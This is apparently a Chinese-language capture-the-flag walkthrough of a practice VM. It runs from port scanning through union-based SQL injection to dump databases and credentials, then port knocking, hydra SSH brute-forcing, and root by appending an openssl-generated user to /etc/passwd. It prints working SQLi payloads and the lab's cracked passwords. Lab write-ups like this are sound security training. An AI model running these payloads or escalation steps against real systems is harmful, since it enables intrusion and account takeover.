下载到本地VMware,配置好网络!
信息收集
主机探测:nmap -p- 192.168.115.0/24 -- 主机及端口号信息都探测出来!
只开了22和80!
开了80端口就直接访问:
另一边进行目录扫描:
再无其它可用信息,先告一段落!
漏洞突破
点击菜单发现有一个记录页面,一个搜索页面:
输入Jerry,在列表页面会显示相关信息:
然后测试一下sql注入漏洞:Jerry' or 1=1 # --,结果把所有的都返回了,说明存在sql注入漏洞:
有5列数据,先用Jerry' order by 5 #-- 试试,测试发现5,6有回显,7就没回显了,说明6个字段!
使用union: Jerry' union select 1,2,3,4,5,6 #--,发现确实是6个字段,
然后探测数据库:search=Jerry' union select database(),2,3,4,5,database() #--
探测表名字(使用老版火狐):search=Jerry' union select (SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),2,3,4,5,6 #--
发现有三张表StaffDetails、Users,UserDetails一张一张的看里面有啥,当然了首先肯定先看用户名表Users:
查看列字段:search=Jerry' union select (SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x5573657273)AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x),2,3,4,5,6 #--
继续探测字段值:search=Jerry' union select (SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(Users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,UserID,Username,Password,0x3c62723e))))x),2,3,4,5,6 #--
发现 1个用户,admin 856f5de590ef37314e7c3bdf6f8a66dc(32位的,应该是md5密码;也可以使用kail的hash-identifier识别一下)在网上解密一下,或者已经知道了用户名是admin,然后bp抓包然后对常用密码爆破一下:7w多个密码爆破没成功,md5网站解密一下,发现密码是:transorbital1,然后登录成功!
有这么个提示看看是否有文件包含漏洞:
然后查看etc下有一个knockd.conf(敲门服务)
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
靶机的关门是这样配置的,我们需要在kali下使用knock开一下们,然后使用ssh远程连接:
knock 192.168.115.146 7469 8475 9842,然后使用kali的ssh再连一下,发现还是连不上,陷入了死胡同!
思路不对,重新从sql开始,开始使用 search=Jerry' union select database(),2,3,4,5,database() 探测出来的是当前库,并没有探测出所有的库,换了一个新语句
search=Jerry' union select group_concat(schema_name),2,database(),4,5,6 from information_schema.schemata #--,如下:
发现开始操作的都是Staff库,这下又多出了一个users库,对这个库分别看看有些什么数据:
查看表:search=Jerry' union select group_concat(table_name),2,database(),4,5,6 from information_schema.tables where table_schema="users" #--
那会测试Staff里面也有个UserDetails,字段是id、firstname、lastname、username、password、reg_date,查数据时发现没有数据!
查看表里面的列:search=Jerry' union select group_concat(column_name),2,database(),4,5,6 from information_schema.columns where table_schema="users" and table_name="UserDetails" #--;发现有username和password;
查数据:search=Jerry' union select group_concat(username,0x7e,password),2,database(),4,5,6 from users.UserDetails #--
查到了用户和密码的一些信息,然后分别放两个文件,在kali中使用 hydra 对ssh进行爆破:
发现三组用户可以登录:chandlerb UrAG0D!;joeyt Passw0rd;janitor Ilovepeepee
用这三个用户分别登录,然后ls -al 查看信息:
查看,发现是一个目录,里面有一个放密码的文件:
把这些密码添加到刚才的密码文件,继续用hydra 爆破,发现多出来一个用登陆了的用户和密码:
fredf,B4-Tru3-001,使用ssh登录之后,查看是否可以sudo提权:
其它几个用户提示这样的信息:
说明可以sudo提权!
这段python代码的意思是进行文件读写,包括程序名在内的3个参数,argv[0]是程序名,argv[1]是要读取的文件,argv[2]是要写入的文件!拷贝一下/etc/passwd,然后在写入:
这个目录的test就是test.py编译后的可执行文件:
源文件可以写入成功,说明打包后的test也具有写入功能;首先我们利用openssl 生成一个我们自己的用户,然后写入/etc/passwd;
linux下,/etc/passwd 存储的是用户名信息,
root:x:0:0:root:/root:/bin/bash
用户名:密码占位符:UID:GID:描述:家目录:登录shell
第二列是密码占位符(通常为 x,表示密码存储在 /etc/shadow)
使用openssl生成明文为admin的密码构建我们自己的用户信息:openssl passwd -1 admin;
然后使用可以执行文件,把这一条用户信息写入到/etc/passwd :
然后切换到我们自己的用户admin,提前成功!
思路梳理:
1、信息收集 发现 80和22端口,目录扫描未发现可以利用的。
2、页面访问,发现sql注入漏洞,以database()获取admin用户名和密码,但是收集的信息不全,需要获取到所有数据库的信息。
3、有了用户名和密码尝试ssh登录(因为页面中登录之后啥也没有)。
4、根据登录后页面的提示信息,发现文件包含漏洞,但是没有利用点
5、探测出一个敲门服务,敲门之后,ssh才可以远程连接
6、登录之后发现新密码,使用hydra爆破ssh,发现新用户和密码
7、登录之后使用sudo提权,找到python线索,python脚本的意思是文件复制,本地生成一个用户名和密码,用python的复制功能复制到/etc/passwd里面,提权成功!